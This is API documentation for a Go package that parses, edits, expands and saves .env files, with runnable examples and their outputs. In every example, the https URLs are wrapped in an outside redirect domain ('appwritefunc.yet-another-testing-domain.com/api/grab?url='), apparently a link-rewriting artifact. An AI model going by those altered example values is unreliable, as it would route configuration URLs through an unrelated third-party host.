Set upserts: one active entry. Append is literal: it adds a second entry, and the last one wins when the file is read.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	upsert := dotenv.Parse("A=1\n")
	upsert.Set("A", "2")

	literal := dotenv.Parse("A=1\n")
	literal.Append(dotenv.NewPair("A", "2"))

	fmt.Printf("Set:    %q count=%d\n", upsert.Render(), upsert.Count("A"))
	fmt.Printf("Append: %q count=%d\n", literal.Render(), literal.Count("A"))
}
Output:
Set:    "A=2\n" count=1
Append: "A=1\nA=2\n" count=2

func (*File) Clone

func (f *File) Clone() *File

Clone returns an independent copy: editing either leaves the other untouched.

Cheaper and more faithful than Parse(f.Render()) — no re-parsing, and entries keep the exact Raw bytes they were read with, including any the parser would classify differently on a second pass.

Example

Clone makes an independent copy. Change only what differs and every other line, references included, stays byte-identical.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	staging := dotenv.Parse("# shared\nDOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\nSECRET=${VAULT_TOKEN:?set me}\n")

	prod := staging.Clone()
	prod.Set("DOMAIN", "acme.io")

	fmt.Print(prod.Render())
	api, _, err := prod.GetExpanded("API_URL")
	if err != nil {
		fmt.Println("expand:", err)
		return
	}
	fmt.Println("prod API_URL:", api)
	orig, _ := staging.Get("DOMAIN")
	fmt.Println("staging DOMAIN:", orig)
}
Output:
# shared
DOMAIN=acme.io
API_URL=https://api.${DOMAIN}
SECRET=${VAULT_TOKEN:?set me}
prod API_URL: https://api.acme.io
staging DOMAIN: staging.acme.io
Example (Baked)

Building a new file from ExpandedMap instead of cloning bakes every reference into a fixed value. Change DOMAIN later and API_URL no longer follows it.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	staging := dotenv.Parse("DOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\n")

	values, err := staging.ExpandedMap()
	if err != nil {
		fmt.Println("expand:", err)
		return
	}
	baked := dotenv.Parse("")
	for _, k := range staging.Keys() { // Keys keeps file order; a map would not
		baked.Set(k, values[k])
	}
	baked.Set("DOMAIN", "acme.io")

	api, _, err := baked.GetExpanded("API_URL")
	if err != nil {
		fmt.Println("expand:", err)
		return
	}
	fmt.Println(api)
}
Output:
https://api.staging.acme.io

func (*File) Count

func (f *File) Count(key string) int

Count returns how many ACTIVE pair entries exist for key.

Duplicates are worth surfacing: only the last is effective, so a caller that silently ignores the others hides a real authoring mistake.

Example

ExampleFile_Count reports how many active lines share a key. Anything above one is a duplicate: only the last line is in effect, the others are dead weight a reviewer should know about.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const content = `# database
DB_HOST=localhost
DB_PORT=5432
# DB_USER=admin
DB_HOST=db.internal
HOME
`
	f := dotenv.Parse(content)

	for _, key := range f.Keys() {
		if n := f.Count(key); n > 1 {
			fmt.Printf("%s is set %d times\n", key, n)
		}
	}
	fmt.Println("DB_USER:", f.Count("DB_USER"))
}
Output:
DB_HOST is set 2 times
DB_USER: 0

func (*File) Disabled

func (f *File) Disabled() []Pair

Disabled returns the commented-out settings in file order.

These are inactive — Get and Map ignore them — but visible, so a tool can report "DB_USER is disabled" rather than "DB_USER is missing", which are different problems with different fixes.

Example

Disabled lists the commented-out settings in file order. They are not active: Get and Has ignore them, just as an app reading the file would.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("# DB_USER=admin\n# just a note\nDB_HOST=localhost\n#DEBUG=true\n")

	for _, p := range f.Disabled() {
		fmt.Printf("%s=%s\n", p.Key, p.Value)
	}
	fmt.Println("Has(DB_USER):", f.Has("DB_USER"))
}
Output:
DB_USER=admin
DEBUG=true
Has(DB_USER): false

func (*File) Entries

func (f *File) Entries() []*Entry

Entries returns the parsed entries in file order, including comments and blanks — the view a linear read of the file would give.

Example

ExampleFile_Entries walks every entry in file order, comments and blanks included. This is the view for tools that inspect structure, such as a linter that flags disabled settings or unrecognised lines.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const content = `# database
DB_HOST=localhost
# DB_USER=admin

HOME
not a setting
`
	f := dotenv.Parse(content)

	for _, e := range f.Entries() {
		switch e.Kind {
		case dotenv.KindPair:
			fmt.Printf("%-13s %s=%s\n", e.Kind, e.Key, e.Value)
		case dotenv.KindDisabledPair:
			fmt.Printf("%-13s %s (off, would be %s)\n", e.Kind, e.Key, e.Value)
		case dotenv.KindInherited:
			fmt.Printf("%-13s %s (from the environment)\n", e.Kind, e.Key)
		default:
			fmt.Printf("%-13s %q\n", e.Kind, e.Raw[0])
		}
	}
}
Output:
comment       "# database"
pair          DB_HOST=localhost
disabled-pair DB_USER (off, would be admin)
blank         ""
inherited     HOME (from the environment)
other         "not a setting"

func (*File) Existed

func (f *File) Existed() bool

Existed reports whether the file was present when Open ran. False means Save will create it.

Example

ExampleFile_Existed tells a freshly created file apart from one that was already on disk. A File from Parse never existed on disk.

package main

import (
	"fmt"
	"os"
	"path/filepath"

	"github.com/ubgo/dotenv"
)

func main() {
	// envFile is the name the example writes inside its own temp directory.
	const envFile = ".env"

	dir, err := os.MkdirTemp("", "dotenv-existed")
	if err != nil {
		fmt.Println(err)
		return
	}
	defer func() {
		// Cleanup is best-effort; a failure goes to stderr so the example's
		// checked stdout output is unaffected.
		if err := os.RemoveAll(dir); err != nil {
			fmt.Fprintln(os.Stderr, "cleanup:", err)
		}
	}()
	path := filepath.Join(dir, envFile)

	before, err := dotenv.Open(path)
	if err != nil {
		fmt.Println(err)
		return
	}
	if err := os.WriteFile(path, []byte("A=1\n"), 0o600); err != nil {
		fmt.Println(err)
		return
	}
	after, err := dotenv.Open(path)
	if err != nil {
		fmt.Println(err)
		return
	}

	fmt.Println("before writing:", before.Existed())
	fmt.Println("after writing:", after.Existed())
	fmt.Println("from Parse:", dotenv.Parse("A=1\n").Existed())
}
Output:
before writing: false
after writing: true
from Parse: false

func (*File) ExpandedMap

func (f *File) ExpandedMap() (map[string]string, error)

ExpandedMap is Map with every value expanded. It stops at the first RequiredError rather than returning a half-expanded map.

Only the effective (last) entry for each key is expanded, so every value equals what GetExpanded returns for that key. Expanding an overridden duplicate as well would let a dead line fail the whole map — `B=${NOPE:?x}` followed by `B=ok` must read as "ok", not as an error.

Example

ExampleFile_ExpandedMap expands every pair into one map (last duplicate wins). If any value hits an unsatisfied ${VAR:?msg} or ${VAR?msg}, it returns a nil map and that first error, never a half-expanded map.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	good := dotenv.Parse("HOST=db\nURL=postgres://${HOST}\nRAW='${HOST}'\n")
	m, err := good.ExpandedMap()
	fmt.Println(m, err)

	bad := dotenv.Parse("A=ok\nB=${NEED_ONE:?first}\nC=${NEED_TWO:?second}\n")
	m, err = bad.ExpandedMap()
	fmt.Println(m == nil, err)
}
Output:
map[HOST:db RAW:${HOST} URL:postgres://db] <nil>
true dotenv: required variable NEED_ONE is not set or is empty: first

func (*File) Get

func (f *File) Get(key string) (string, bool)

Get returns the raw value for key.

With duplicate keys the LAST one wins, matching dotenv and Compose semantics: what Get reports is what a consumer of the file would actually see.

Example

ExampleFile_Get reads one raw value. With a duplicated key the LAST active line wins, a commented-out setting is not found, and neither is a name-only (inherited) line.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const content = `# database
DB_HOST=localhost
DB_PORT=5432
# DB_USER=admin
DB_HOST=db.internal
HOME
`
	f := dotenv.Parse(content)

	for _, key := range []string{"DB_HOST", "DB_PORT", "DB_USER", "HOME", "NOPE"} {
		v, ok := f.Get(key)
		fmt.Printf("%s: %q %v\n", key, v, ok)
	}
}
Output:
DB_HOST: "db.internal" true
DB_PORT: "5432" true
DB_USER: "" false
HOME: "" false
NOPE: "" false

func (*File) GetExpanded

func (f *File) GetExpanded(key string) (string, bool, error)

GetExpanded is Get with references resolved against the other entries in the same file — the interpolation Docker Compose performs when IT reads the .env.

It exists for consumers that read the file THEMSELVES rather than through compose. Without it, a value authored as a reference — ADMIN_PASS=${SECRET} — reaches such a consumer as the literal string "${SECRET}" instead of the shared secret.

The error is non-nil only for a ${VAR:?message} or ${VAR?message} reference whose variable is unsatisfied; see RequiredError. Every other unresolved reference expands to "" rather than failing, matching Compose.

Get stays the right call for anything written back to disk: expansion must feed what a consumer READS, never what is persisted, or a reference would be flattened into a copy of its target and the link lost.

Example

ExampleFile_GetExpanded shows the difference between the raw value on disk (Get) and the value a consumer sees once references to other keys in the same file are resolved (GetExpanded). Both ${VAR} and $VAR work; a bare $VAR ends at the first character that cannot be part of a name.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	src := "HOST=db.internal\n" +
		"PORT=5432\n" +
		"URL=postgres://${HOST}:$PORT/app\n" +
		"MISSING=[${NOT_IN_FILE}]\n"

	f := dotenv.Parse(src)

	raw, _ := f.Get("URL")
	url, ok, err := f.GetExpanded("URL")
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Println("Get:        ", raw)
	fmt.Println("GetExpanded:", url, ok)

	// An unresolved reference is "", never an error.
	missing, _, err := f.GetExpanded("MISSING")
	fmt.Println("MISSING:    ", missing, err)

	// A key that does not exist reports ok=false.
	_, ok, err = f.GetExpanded("NOPE")
	fmt.Println("NOPE found: ", ok, err)
}
Output:
Get:         postgres://${HOST}:$PORT/app
GetExpanded: postgres://db.internal:5432/app true
MISSING:     [] <nil>
NOPE found:  false <nil>
Example (Dollar)

ExampleFile_GetExpanded_dollar shows how the character after a $ decides what it means: $$ is one literal dollar, ${ and a letter or _ start a reference, and anything else (a digit, a space, the end of the value) is a plain dollar sign. A backslash does not escape a dollar; use $$.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	src := "NAME=world\n" +
		"ESCAPED=$${NAME} and $$NAME\n" +
		"PRICE=costs $5 or 5$\n" +
		"THREE=$$$\n" +
		"BACKSLASH=\"\\$NAME\"\n" +
		"UNCLOSED=${NAME\n"

	f := dotenv.Parse(src)
	for _, key := range []string{"ESCAPED", "PRICE", "THREE", "BACKSLASH", "UNCLOSED"} {
		got, _, err := f.GetExpanded(key)
		if err != nil {
			fmt.Println(key, "error:", err)
			continue
		}
		fmt.Printf("%s=%q\n", key, got)
	}
}
Output:
ESCAPED="${NAME} and $NAME"
PRICE="costs $5 or 5$"
THREE="$$"
BACKSLASH="\\world"
UNCLOSED="${NAME"
Example (Literal)

ExampleFile_GetExpanded_literal shows that quoting decides whether a value is expanded at all. Bare and double-quoted values are; single-quoted and backtick values are returned exactly as written, $$ and all, and stay literal when another key refers to them (REF).

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	src := "USER_NAME=ada\n" +
		"BARE=${USER_NAME} $$\n" +
		"DOUBLE=\"${USER_NAME} $$\"\n" +
		"SINGLE='${USER_NAME} $$'\n" +
		"BACKTICK=`${USER_NAME} $$`\n" +
		"REF=${SINGLE}\n"

	f := dotenv.Parse(src)
	for _, key := range []string{"BARE", "DOUBLE", "SINGLE", "BACKTICK", "REF"} {
		got, _, err := f.GetExpanded(key)
		if err != nil {
			fmt.Println(key, "error:", err)
			continue
		}
		fmt.Printf("%s=%q\n", key, got)
	}
}
Output:
BARE="ada $"
DOUBLE="ada $"
SINGLE="${USER_NAME} $$"
BACKTICK="${USER_NAME} $$"
REF="${USER_NAME} $$"
Example (Names)

ExampleFile_GetExpanded_names shows which key names a reference can reach. Inside ${...} the name runs up to the first operator character, so a key with a dash cannot be referenced: ${MY-KEY} means "MY, default KEY". A bare $name stops at the first character that is not a letter, digit or _.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	src := "MY-KEY=dashed\n" +
		"spring.url=dotted\n" +
		"DASH=${MY-KEY}\n" +
		"BRACED_DOT=${spring.url}\n" +
		"BARE_DOT=$spring.url\n"

	f := dotenv.Parse(src)
	for _, key := range []string{"DASH", "BRACED_DOT", "BARE_DOT"} {
		got, _, err := f.GetExpanded(key)
		if err != nil {
			fmt.Println(key, "error:", err)
			continue
		}
		fmt.Printf("%s=%q\n", key, got)
	}
}
Output:
DASH="KEY"
BRACED_DOT="dotted"
BARE_DOT=".url"
Example (Nesting)

ExampleFile_GetExpanded_nesting shows nested defaults, chains of references (in any order in the file), and the cycle guard: a reference back into a variable that is still being expanded sees only what is defined above it (nothing here), so it resolves to "" and expansion always terminates. The key you asked for is on the stack from the start, so CYCLE_A is cut on its first return: "a", then "b", then nothing. Two separate references to one variable are not a cycle.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	src := "NESTED=${NOPE:-${ALSO_NOPE:-fallback}}\n" +
		"INNER=${NOPE:-${LATER}}\n" +
		"CHAIN=${BASE}/v1\n" +
		"BASE=https://${DOMAIN}\n" +
		"DOMAIN=example.com\n" +
		"TWICE=${DOMAIN}|${DOMAIN}\n" +
		"LATER=defined below\n" +
		"CYCLE_A=a${CYCLE_B}\n" +
		"CYCLE_B=b${CYCLE_A}\n"

	f := dotenv.Parse(src)
	for _, key := range []string{"NESTED", "INNER", "CHAIN", "TWICE", "CYCLE_A"} {
		got, _, err := f.GetExpanded(key)
		if err != nil {
			fmt.Println(key, "error:", err)
			continue
		}
		fmt.Printf("%s=%q\n", key, got)
	}
}
Output:
NESTED="fallback"
INNER="defined below"
CHAIN="https://example.com/v1"
TWICE="example.com|example.com"
CYCLE_A="ab"
Example (Operators)

ExampleFile_GetExpanded_operators prints every ${...} operator against a variable that is set, set but empty, and unset. The colon forms treat an empty value like an unset one; the forms without a colon only look at whether the key exists.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	// The three states every operator is checked against.
	const header = "SET=value\nEMPTY=\n"
	operators := []string{"", ":-def", "-def", ":+alt", "+alt", ":?msg", "?msg"}
	names := []string{"SET", "EMPTY", "UNSET"}

	fmt.Printf("%-12s %-8s %-8s %s\n", "operator", "SET", "EMPTY", "UNSET")
	for _, op := range operators {
		cells := make([]string, 0, len(names))
		for _, name := range names {
			f := dotenv.Parse(header + "R=${" + name + op + "}\n")
			got, _, err := f.GetExpanded("R")
			cell := fmt.Sprintf("%q", got)
			if err != nil {
				cell = "error"
			}
			cells = append(cells, cell)
		}
		fmt.Printf("%-12s %-8s %-8s %s\n", "${VAR"+op+"}", cells[0], cells[1], cells[2])
	}
}
Output:
operator     SET      EMPTY    UNSET
${VAR}       "value"  ""       ""
${VAR:-def}  "value"  "def"    "def"
${VAR-def}   "value"  ""       "def"
${VAR:+alt}  "alt"    ""       ""
${VAR+alt}   "alt"    "alt"    ""
${VAR:?msg}  "value"  error    error
${VAR?msg}   "value"  ""       error
Example (SelfReference)

ExampleFile_GetExpanded_selfReference shows a key that refers to itself. As in Docker Compose, the reference sees the definition above the line, so a value can extend an earlier one. With nothing above, it asks the Lookuper and otherwise takes the default.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	src := "PATH_EXTRA=/usr/local/bin\n" +
		"PATH_EXTRA=${PATH_EXTRA}:/opt/bin\n" +
		"ZONE=${ZONE:-eu-west}\n" +
		"REGION=${REGION:-us-east}\n"

	lookup := dotenv.WithLookup(func(name string) (string, bool) {
		if name == "REGION" {
			return "ap-south", true
		}
		return "", false
	})

	f := dotenv.Parse(src, lookup)
	for _, key := range []string{"PATH_EXTRA", "ZONE", "REGION"} {
		got, _, err := f.GetExpanded(key)
		if err != nil {
			fmt.Println(key, "error:", err)
			continue
		}
		fmt.Printf("%s=%q\n", key, got)
	}
}
Output:
PATH_EXTRA="/usr/local/bin:/opt/bin"
ZONE="eu-west"
REGION="ap-south"

func (*File) Has

func (f *File) Has(key string) bool

Has reports whether an active pair exists for key. A commented-out entry does not count — it is not in effect.

Example

ExampleFile_Has checks for an ACTIVE pair. A disabled setting and an inherited name both answer false, because neither is in effect.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const content = `# database
DB_HOST=localhost
DB_PORT=5432
# DB_USER=admin
DB_HOST=db.internal
HOME
`
	f := dotenv.Parse(content)

	fmt.Println("DB_HOST:", f.Has("DB_HOST"))
	fmt.Println("DB_USER:", f.Has("DB_USER"))
	fmt.Println("HOME:", f.Has("HOME"))
}
Output:
DB_HOST: true
DB_USER: false
HOME: false

func (*File) Inherited

func (f *File) Inherited() []string

Inherited returns the names declared as inherited-from-the-environment — the Compose name-only lines (`HOME`) — in file order, deduplicated.

The names are DECLARATIONS, not values: this package never reads os.Environ, so resolving them is the caller's job. A caller that wants Compose's behaviour walks this list and applies its own source (os.Getenv, a secret store) with its own precedence — the same layering the package doc prescribes for loading in general.

Example

A line that is just a name means "take this from the environment" in Docker Compose. The package lists those names but never reads the environment; resolving them is your call. A fixed map stands in for os.LookupEnv here so the output is stable.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("DATABASE_URL=postgres://localhost/dev\nHOME\nAWS_REGION\n")

	fmt.Println(f.Inherited())
	fmt.Println(f.Keys()) // inherited names are not active keys

	hostEnv := map[string]string{"HOME": "/srv/app"} // stand-in for os.LookupEnv
	env := f.Map()
	for _, name := range f.Inherited() {
		if v, ok := hostEnv[name]; ok {
			env[name] = v
		}
	}
	fmt.Println(len(env), env["HOME"])
}
Output:
[HOME AWS_REGION]
[DATABASE_URL]
2 /srv/app

func (*File) InsertAfter

func (f *File) InsertAfter(anchorKey string, entries ...*Entry) error

InsertAfter places entries immediately after the anchor key's entry.

Returns ErrAnchorNotFound and changes nothing when the anchor has no active entry. Like Append, this is literal placement — use SetAfter for upsert semantics.

Example

InsertAfter places a block right after an anchor key, as one unit and exactly as given. It is the literal twin of SetAfter.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("DB_HOST=localhost\nDB_PORT=5432\nAPP=shop\n")

	err := f.InsertAfter("DB_PORT",
		dotenv.NewComment("added by the installer"),
		dotenv.NewPair("DB_PASSWORD", "s3cret"),
	)
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Print(f.Render())
}
Output:
DB_HOST=localhost
DB_PORT=5432
# added by the installer
DB_PASSWORD=s3cret
APP=shop

func (*File) InsertBefore

func (f *File) InsertBefore(anchorKey string, entries ...*Entry) error

InsertBefore is InsertAfter, placing entries immediately before the anchor.

Example

InsertBefore places entries right before the anchor. Being literal, it adds a duplicate if the key already exists; a missing anchor is an error.

package main

import (
	"errors"
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("DB_HOST=localhost\n")

	if err := f.InsertBefore("DB_HOST", dotenv.NewPair("DB_DRIVER", "postgres")); err != nil {
		fmt.Println("error:", err)
		return
	}
	err := f.InsertBefore("NOPE", dotenv.NewPair("X", "1"))
	fmt.Println(errors.Is(err, dotenv.ErrAnchorNotFound))
	fmt.Print(f.Render())
}
Output:
true
DB_DRIVER=postgres
DB_HOST=localhost

func (*File) Keys

func (f *File) Keys() []string

Keys returns the active keys in file order, without duplicates.

Example

ExampleFile_Keys lists the active keys in file order, each once. Disabled settings and inherited names are left out.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const content = `# database
DB_HOST=localhost
DB_PORT=5432
# DB_USER=admin
DB_HOST=db.internal
HOME
`
	f := dotenv.Parse(content)

	fmt.Println(f.Keys())
}
Output:
[DB_HOST DB_PORT]

func (*File) Map

func (f *File) Map() map[string]string

Map returns the effective key/value view: last occurrence wins, matching Get.

Use this to hand the file to something that wants a map. Prefer Pairs when order or duplicates matter.

Example

ExampleFile_Map returns the effective view: one value per key, last line wins, values raw (references not expanded).

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const content = `# database
DB_HOST=localhost
DB_PORT=5432
# DB_USER=admin
DB_HOST=db.internal
HOME
`
	f := dotenv.Parse(content)

	m := f.Map()
	fmt.Println(len(m), m["DB_HOST"], m["DB_PORT"])
}
Output:
2 db.internal 5432

func (*File) Mode

func (f *File) Mode() fs.FileMode

Mode returns the file mode Save will apply.

Example

ExampleFile_Mode reports the permissions Save will apply: the file's own mode when it existed, 0600 for a file Save will create, because a .env holds credentials.

package main

import (
	"fmt"
	"io/fs"
	"os"
	"path/filepath"

	"github.com/ubgo/dotenv"
)

func main() {
	// sharedMode is a deliberately wider mode, to show Open keeps it.
	const sharedMode fs.FileMode = 0o640
	// envFile is the name the example writes inside its own temp directory.
	const envFile = ".env"

	dir, err := os.MkdirTemp("", "dotenv-mode")
	if err != nil {
		fmt.Println(err)
		return
	}
	defer func() {
		// Cleanup is best-effort; a failure goes to stderr so the example's
		// checked stdout output is unaffected.
		if err := os.RemoveAll(dir); err != nil {
			fmt.Fprintln(os.Stderr, "cleanup:", err)
		}
	}()
	path := filepath.Join(dir, envFile)

	fresh, err := dotenv.Open(path)
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("missing file:", fresh.Mode())

	if err := os.WriteFile(path, []byte("A=1\n"), sharedMode); err != nil {
		fmt.Println(err)
		return
	}
	// WriteFile's mode is filtered by the umask; set it exactly.
	if err := os.Chmod(path, sharedMode); err != nil {
		fmt.Println(err)
		return
	}
	existing, err := dotenv.Open(path)
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("existing file:", existing.Mode())
}
Output:
missing file: -rw-------
existing file: -rw-r-----

func (*File) Pairs

func (f *File) Pairs() []Pair

Pairs returns the active pairs in file order.

Duplicates appear as-is, so the caller sees the same view a linear read would give rather than a silently de-duplicated one.

Example

ExampleFile_Pairs lists every active pair in file order, duplicates included: the view a linear read of the file gives.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const content = `# database
DB_HOST=localhost
DB_PORT=5432
# DB_USER=admin
DB_HOST=db.internal
HOME
`
	f := dotenv.Parse(content)

	for _, p := range f.Pairs() {
		fmt.Printf("%s=%s\n", p.Key, p.Value)
	}
}
Output:
DB_HOST=localhost
DB_PORT=5432
DB_HOST=db.internal

func (*File) Plugins

func (f *File) Plugins() []PluginInfo

Plugins reports every installed plugin and what it was detected as.

Use it when a plugin appears to do nothing: a capability missing from this list means the method exists under a different name or signature than the interface requires.

Example
f := Parse("A=1\n", WithLookup(func(string) (string, bool) { return "", false }))
for _, p := range f.Plugins() {
	fmt.Println(p)
}
Output:
lookup: Lookuper
Example (Firewall)

ExampleFile_Plugins_firewall proves hooks change only what a value reads as; Render still returns the original bytes.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	// Hooks change what a value READS as, never what gets WRITTEN: Render
	// returns the original bytes whatever is installed.
	const src = "HOST=local\nURL=https://${HOST}/api\n"

	f := dotenv.Parse(src,
		dotenv.WithLookup(func(string) (string, bool) { return "IGNORED", true }),
		dotenv.WithValueTransform(func(_, v string) (string, error) { return "MANGLED-" + v, nil }),
	)

	v, _, err := f.GetExpanded("URL")
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Println("reads as:", v)
	fmt.Println("renders unchanged:", f.Render() == src)
}
Output:
reads as: MANGLED-https://local/api
renders unchanged: true
Example (Ordering)

ExampleFile_Plugins_ordering shows how several plugins with the same capability combine: first answer wins for lookups, transforms chain, the last runner wins.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	// Each capability combines differently when several plugins hold it.
	answer := func(v string) func(string) (string, bool) {
		return func(string) (string, bool) { return v, v != "" }
	}
	prefix := func(p string) func(string, string) (string, error) {
		return func(_, v string) (string, error) { return p + v, nil }
	}
	run := func(tag string) func(string) (string, error) {
		return func(cmd string) (string, error) { return tag + ":" + cmd, nil }
	}

	f := dotenv.Parse("OWN=file\nA=${OWN}\nB=${MISSING}\nC=v\nD=\"$(cmd)\"\n",
		// Lookuper: the file wins, then the first plugin that answers.
		dotenv.WithLookup(answer("")),       // a miss
		dotenv.WithLookup(answer("second")), // answers first
		dotenv.WithLookup(answer("third")),  // never asked
		// ValueTransformer: chained in install order.
		dotenv.WithValueTransform(prefix("1-")),
		dotenv.WithValueTransform(prefix("2-")),
		// CommandRunner: a replacement, the last installed wins.
		dotenv.WithCommandRunner(run("first")),
		dotenv.WithCommandRunner(run("last")),
	)

	for _, k := range []string{"A", "B", "C", "D"} {
		v, _, err := f.GetExpanded(k)
		if err != nil {
			fmt.Println("error:", err)
			return
		}
		fmt.Printf("%s=%s\n", k, v)
	}
}
Output:
A=2-1-file
B=2-1-second
C=2-1-v
D=2-1-last:cmd

func (*File) Render

func (f *File) Render() string

Render produces the file content. For untouched entries this is byte-identical to the source, which is the guarantee the whole package exists to provide.

func (*File) Restore

func (f *File) Restore(key string) bool

Restore re-activates the last disabled entry for key, reporting whether one was found. It is the inverse of Unset with del=false.

The exact comment marker recorded when the entry was disabled is removed, so a line the author wrote as "#DB_USER=admin" comes back without inventing a space that was never there.

A commented-out MULTI-LINE value cannot be restored from a re-read file: each of its lines parses as a separate comment, so only the first is recognised as a disabled pair. Within one session, where Unset kept the block together, Restore reverses it completely.

Example

Restore turns a commented-out setting back on. It removes exactly the marker that was there, so "#K=v" (no space) comes back as "K=v", and Unset followed by Restore gives back the original bytes.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const src = "DB_USER=admin\n#DEBUG=true\n"
	f := dotenv.Parse(src)

	f.Unset("DB_USER", false)
	fmt.Println(f.Restore("DB_USER"))
	fmt.Println(f.Restore("DEBUG"))   // written by hand, no space after '#'
	fmt.Println(f.Restore("MISSING")) // nothing to restore
	fmt.Print(f.Render())
}
Output:
true
true
false
DB_USER=admin
DEBUG=true

func (*File) Save

func (f *File) Save() error

Save writes the rendered file atomically.

A sibling temp file is written at 0600 — never a wider window, even briefly — then chmod'd to the target mode and renamed over the destination. A rename within a directory is atomic, so a reader never observes a half-written credentials file, and a crash mid-save leaves the original intact.

The explicit chmod is required because os.WriteFile's mode argument is filtered by the process umask, so it cannot be relied on to reproduce the original permissions.

Example

Save writes the file back to f.Path through a temp file and a rename, so a reader never sees half a file and no temp file is left behind.

package main

import (
	"fmt"
	"os"
	"path/filepath"
	"sort"

	"github.com/ubgo/dotenv"
)

// editEnvName is the file name every saving example writes inside its own
// temporary directory. Only this base name is ever printed, never the
// directory, so the output is the same on every machine.
const editEnvName = ".env"

// editTempDir makes a private scratch directory for one example and returns a
// cleanup func. Examples cannot take a *testing.T, so this stands in for
// t.TempDir.
func editTempDir() (string, func()) {
	dir, err := os.MkdirTemp("", "dotenv-example-")
	if err != nil {
		panic(err)
	}
	return dir, func() {
		if rmErr := os.RemoveAll(dir); rmErr != nil {
			fmt.Println("cleanup:", rmErr)
		}
	}
}

// editListDir prints the base names in dir, sorted, so an example can show
// that Save left no temp file behind.
func editListDir(dir string) {
	entries, err := os.ReadDir(dir)
	if err != nil {
		fmt.Println("read dir:", err)
		return
	}
	names := make([]string, 0, len(entries))
	for _, e := range entries {
		names = append(names, e.Name())
	}
	sort.Strings(names)
	fmt.Println(names)
}

// editReadFile prints a file's exact bytes, quoted so line endings show.
func editReadFile(path string) {
	b, err := os.ReadFile(path)
	if err != nil {
		fmt.Println("read:", err)
		return
	}
	fmt.Printf("%q\n", b)
}

func main() {
	dir, cleanup := editTempDir()
	defer cleanup()
	path := filepath.Join(dir, editEnvName)

	f, err := dotenv.Open(path) // a missing file opens empty
	if err != nil {
		fmt.Println("open:", err)
		return
	}
	fmt.Println("existed:", f.Existed())
	f.Set("API_KEY", "secret")
	if err := f.Save(); err != nil {
		fmt.Println("save:", err)
		return
	}
	editReadFile(path)
	editListDir(dir)
}
Output:
existed: false
"API_KEY=secret\n"
[.env]
Example (LineEndings)

Every existing line keeps its own terminator. Lines the package writes use CRLF when the file has any CRLF line, so a Windows file stays CRLF.

package main

import (
	"fmt"
	"os"
	"path/filepath"

	"github.com/ubgo/dotenv"
)

// editEnvName is the file name every saving example writes inside its own
// temporary directory. Only this base name is ever printed, never the
// directory, so the output is the same on every machine.
const editEnvName = ".env"

// editTempDir makes a private scratch directory for one example and returns a
// cleanup func. Examples cannot take a *testing.T, so this stands in for
// t.TempDir.
func editTempDir() (string, func()) {
	dir, err := os.MkdirTemp("", "dotenv-example-")
	if err != nil {
		panic(err)
	}
	return dir, func() {
		if rmErr := os.RemoveAll(dir); rmErr != nil {
			fmt.Println("cleanup:", rmErr)
		}
	}
}

// editReadFile prints a file's exact bytes, quoted so line endings show.
func editReadFile(path string) {
	b, err := os.ReadFile(path)
	if err != nil {
		fmt.Println("read:", err)
		return
	}
	fmt.Printf("%q\n", b)
}

func main() {
	dir, cleanup := editTempDir()
	defer cleanup()
	path := filepath.Join(dir, editEnvName)
	if err := os.WriteFile(path, []byte("A=1\r\nB=2\r\n"), 0o600); err != nil {
		fmt.Println("write:", err)
		return
	}

	f, err := dotenv.Open(path)
	if err != nil {
		fmt.Println("open:", err)
		return
	}
	f.Set("B", "two")
	f.Set("C", "3")
	if err := f.Save(); err != nil {
		fmt.Println("save:", err)
		return
	}
	editReadFile(path)

	mixed := dotenv.Parse("A=1\nB=2\r\n") // mixed stays mixed
	mixed.Set("C", "3")
	fmt.Printf("%q\n", mixed.Render())
}
Output:
"A=1\r\nB=two\r\nC=3\r\n"
"A=1\nB=2\r\nC=3\r\n"
